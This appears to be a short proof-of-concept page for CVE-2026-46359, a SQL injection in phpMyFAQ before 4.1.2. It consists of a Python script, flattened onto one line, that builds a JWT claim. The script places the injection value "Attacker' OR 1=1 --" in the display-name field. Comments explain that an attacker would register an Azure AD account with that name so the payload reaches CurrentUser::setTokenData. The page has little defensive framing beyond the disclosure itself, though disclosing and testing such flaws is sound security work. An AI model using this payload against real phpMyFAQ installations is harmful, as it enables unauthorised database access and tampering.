CVE-2026-46359 phpMyFAQ SQL注入漏洞

import jwt import json # Proof of Concept for CVE-2026-46359 # This script demonstrates the creation of a malicious JWT token claim. # An attacker would register an Azure AD account with a display name # containing SQL injection payloads. # The payload attempts to bypass the string literal in the SQL query # Example: UPDATE users SET display_name = '<PAYLOAD>' ... # Malicious payload to break out and comment out the rest sql_injection_payload = "Attacker' OR 1=1 --" # Simulated JWT payload structure that would come from the OAuth provider malicious_token_payload = { "sub": "001", "unique_name": sql_injection_payload, "email": "[email protected]", "ver": "2.0" } print("Malicious JWT Claim Payload:") print(json.dumps(malicious_token_payload, indent=2)) # When phpMyFAQ < 4.1.2 processes this token in CurrentUser::setTokenData, # it may construct a query like: # INSERT INTO user_data (display_name) VALUES ('Attacker' OR 1=1 --') # This results in arbitrary SQL execution.